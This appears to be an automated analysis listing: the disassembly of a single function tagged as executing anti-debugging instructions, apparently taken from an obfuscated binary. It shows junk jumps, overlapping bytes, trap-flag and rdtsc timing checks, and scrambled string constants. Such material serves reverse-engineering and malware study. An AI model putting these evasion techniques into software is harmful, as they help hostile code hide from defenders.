Function at 0x401b39
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
push 0xa
jae 0x401977
jmp 0x401970
call 0x40197b
call 0xe9378d62
call 0xeb44de02
add ch, al
call 0x71642685
add ch, al
call 0x2baf906
jae 0x401970
call 0x5049d66
jmp 0x401982
dec dword [esp]
jno 0x401989
call 0x7b1f9374
add ch, al
call 0x6644de16
popfd
jns 0x40196a
jp 0x40198f
call 0x5049d7a
add esp, 4
popf
jmp 0x401998
mov dword [ebp - 0x5c], 0x558
call 0x4011aa
push 0
call fcn.00403308
pop ecx
push eax
push 0x419ee8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
js 0x4019bd
jns 0x4019bd
call 0x41df0279
add byte [ebp + 0x663d75c0], al
pushfd
mov eax, 0x419ee8
test eax, eax
jne 0x401a03
pushf
push 0xa
jb 0x4019d1
js 0x4019d6
jns 0x4019d6
call 0x401cbd
add byte [ebx - 7], dh
call 0x4019d8
jae 0x4019d1
add esp, 4
jb 0x4019e0
jae 0x4019e0
call 0x716426e3
add byte [ecx - 0x1d], bh
dec dword [esp]
jno 0x4019e5
jns 0x4019ca
jp 0x4019e9
add esp, 4
popf
je 0x4019f3
jne 0x4019f3
call 0x41d2425f
add byte [eax - 0x18], ch
sahf
inc ecx
add bh, bh
adc eax, sym.imp.KERNEL32.dll_lstrcpyA
push 0x419228
push 0x419ee8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x2c], str.aoe7ASIw_X_Bu9AuE___ivBq_pflpe7Djt4_Bg2fRe1_vTCiZF__ZHyydZnxY_i
jl 0x401a0e
jmp 0x401a10
je 0x401a0c
jge 0x401a14
jmp 0x401a16
jne 0x401a12
jl 0x401a1d
je 0x401a1f
jne 0x401a1f
call 0x65c41395
nop
add byte [ebx + 0x78009465], al
add edi, dword [ecx + 1]
je 0x401a18
and dword [ebp - 0x70], 0
and dword [ebp - 0x6c], 0
js 0x401a2c
jns 0x401a2c
call 0xdc7fb3
and dword [ebp - 0x64], 0
and dword [ebp - 0x44], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0x8c6
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x64]
push eax
push 0x418360
call fcn.00402814
pop ecx
pop ecx
mov dword [ebp - 0x70], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.004011af
cmp dword [ebp - 0x70], 0
je 0x401a89
push es
cmp dword [ebp - 0x64], 0
jne 0x401aa0
mov dword [ebp - 0xa4], str.uFXq_Fsu__F_vpfkx__5__9____H76XgKTxuWG9avi_re_8Z1aRpzC35oi3l8K4iTE4__Fwl2Om_v_Q3pJES7KCAM3ZRGPdd_ZQzroIVql__klLLGR_3EYA_wQ_dTRDDVScXvmC3ZpQjp2m9b1Lbz7V_H_RH_oQw_W5MUpBOJukxcEOrs6ukBQw__N5_Mp__D95C_7QzD_ix_oo9ZkO___DMhi_f_xbvgsJiinYr8YfF__es_qufBZaq5mHXiF_e_tkUBUG8dOxlUHds_eNUhFC_bk_n_khdw42_JSY__VotcYYIsHER5xP_3GE5k7BrUb8_C3_IH_n_28XhC_EgXpB_Bl_3nyL_g_l55EhFVppi2qMlaZP_sUqzKNKE2_E6bsj1u93qJIKMeHYWmll_61Zyn5_8MWVdP__GYfR__oRx_KWQgqPuY_679fArz_s_KP6___HI_8XjSkfbbzi_Psk_n4_O6CQNxngZB_ZDCaG5_N_n2_KrLhaY_S7xEOgu_v_VSE6VDr_Lz__VO_UCDRbJLSbh_k98t_V5xPxwZ__LDwihl38Q__ez__1_3qymPreYMZGLml_YNcmoAK_nF4hbbzUHk_R5_BCrLc__Um__N___zVF27Ga6
js 0x401a98
jns 0x401a98
call 0xea3fe31f
insd dword es:[edi], dx
or eax, 0x5730000
or eax, 0xffffffff
jmp 0x40280d
jae 0x401aa7
je 0x401aa9
jne 0x401aa9
call 0x36401420
cmp byte [eax + 0x75ff0041], ah
pushfd
jne 0x401aa2
push dword [0x41a038]
push dword [ebp - 0x64]
push str.Ok3a__K3e__gzG___4z_3XauOF
push dword [ebp - 0x70]
call fcn.004043de
add esp, 0x10
mov dword [ebp - 0x70], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp - 0x70], 0
je 0x401ade
cmp dword [ebp - 0x64], 0
jne 0x401ae6
or eax, 0xffffffff
jmp 0x40280d
nop
nop
nop
nop
mov dword [ebp - 0x3c], str.i4Vj__Ple_RH8_1Ipx_MISeLa_R_7aAdWHhhzjaYSKj_DE92Tr_4CXbA_FwYV5J_Sg8_bs__m____dZOi8AW_aOh_Jb_2sspVVqXXRQ1zYZrx_fuv_48No_hUi8Zagml4MwM_t_aEVm31vumxd4XDzBC_7_PZGqau32_I5YjT3TYVkXzAO_Pi_Fs_za4XCNguRXUKRWndhV6spojo_O_H77h38EYr_52U__lXLOHraqA___tnOeDAL5yBYDsznOb__9d_A5_tR7WW35nBb_yHxp_l3SuY__G__a3bM9_uAqD7puzCcwa6SX_3_SSdndlR_L3OujTZ_ZP6zr3f2_ST58R9_7_W__SwsdjqD7Zu_S2LmxflJRnOQ_X8Vv3u9__kvk___o1oen6L94_H3Jk_AD_KN_hhFSoIsnJd_Pgmp_qgXgz_a9me_5gtQ__W5_YoDlHXvlemVrHmvU2OTN5p4V_UxFM_GT_rWak5_K_ei7Z66FucfSbpb_Agybn_bb5cP95hnAsrQ_zaA__mY_oAO8_VfaKF9H5h99mXZx_KFCCZ54_nQnP_1YtC8_UF___vBypp_T9U32Nc_itHnK6_ejak_nQW3D_sm__Pvrp6bwI_M3_8FHVVuV_fXoN_fqjTy6qU_75__1_H_RvfJsqXy__GYo5FKj_Fz6LtekykrKITcH_mzDZZZodSEtc_Ltq_6pusA_TyPLzxo_dDpxj_pzK_h7mYyxcRi8EGnIS__lm_28gS2__43w_udBoAHExzY2k8fFU_bLG6ZO_9Lzv2__M_AiJ6_HHxbSd_c_I9xPi_nmAi7_9RroUj_sM_wZRFD
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.004011b4
and dword [ebp - 0x50], 0
jne 0x401b15
je 0x401b15
jmp 0x41215f81
push 0x40e144
push dword [ebp - 0x70]
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
pushf
push 0xa
jb 0x401b32
js 0x401b37
jns 0x401b37
call fcn.00401e1e
add byte [ebx - 7], dh
call 0x401b39
jae 0x401b32
add esp, 4
jb 0x401b41
jae 0x401b41
call 0x71642844
dec dword [esp]
jno 0x401b46
and al, 0x71
add byte [ecx - 0x1d], bh
jns 0x401b2b
jp 0x401b4a
add esp, 4
popf
je 0x401b54
jne 0x401b54
call 0xf098db
cmp dword [ebp - 0x50], 0
jne 0x401b62
or eax, 0xffffffff
jmp 0x40280d
jne 0x401b67
jno 0x401b67
call 0x68f0916a
xor byte [ebx + 0x15ff0041], dl
jl 0x401b43
push dword [ebp - 0x50]
push 0x419330
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40e148
push 0
inc eax
add byte [eax + 0x48], ch
loope 0x401bb9
add byte [edx], ch
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push dword [ebp - 0x50]
push 0x419359
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40e14c
push 0
call fcn.00405491
aam 0x38
add byte [eax], al
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
je 0x401be7
jne 0x401be7
pushal
rdtsc
mov ebx, eax
mov ecx, edx
rdtsc
sub eax, ebx
sbb edx, ecx
rdtsc
add eax, ebx
adc edx, ecx
rdtsc
sub eax, ebx
push 0xc8c70ff0
sbb edx, ecx
test edx, edx
popal
push dword [ebp - 0x50]
push 0x419380
call fcn.004051c0
pop ecx
pop ecx
push 0x40e150
push 0
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
jl 0x401c0e
je 0x401c10
jne 0x401c10
call 0x76401586
mov al, 0x68
test eax, 0xe8004193
mov dword [0x59000035], eax
je 0x401c09
push dword [ebp - 0x50]
push 0x4193a9
call fcn.004051c0
pop ecx
pop ecx
push 0x40e154
push 0
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
jge 0x401c37
je 0x401c39
jne 0x401c39
call 0x764015b0
mov al, 0x68
stosd dword es:[edi], eax
xchg ebx, eax
inc ecx
add bh, bh
adc eax, sym.imp.KERNEL32.dll_lstrcpyA
jne 0x401c32
push dword [ebp - 0x50]
push 0x4193ab
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40e158
push 0
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
jae 0x401c5f
je 0x401c61
jne 0x401c61
call 0x764015d8
mov al, 0x68
scasd eax, dword es:[edi]
xchg ebx, eax
inc ecx
add al, ch
push edx
xor eax, 0x59590000
jne 0x401c5a
push dword [ebp - 0x50]
push 0x4193af
call fcn.004051c0
pop ecx
pop ecx
push 0x40e15c
push 0
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
pushf
push 0xa
jae 0x401c8e
jmp 0x401c89
call 0x401c90
jae 0x401c89
add esp, 4
jmp 0x401c95
dec dword [esp]
jno 0x401c9a
jns 0x401c85
jp 0x401c9e
add esp, 4
popf
jmp 0x401ca5
push dword [ebp - 0x50]
push 0x4193c2
call fcn.004051c0
pop ecx
pop ecx
push 0x40e160
push 0
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
je 0x401ccb
jne 0x401ccb
int 0x20
push dword [ebp - 0x50]
push 0x4193eb
call fcn.004051c0
pop ecx
pop ecx
push 0x40e164
push 0
call fcn.00405491
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
call 0x401cf7
mov dword [ebx - 0x14ec3f7d], 0x2eb580b
int 0x20
add eax, 2
jmp 0x401d02
push eax
ret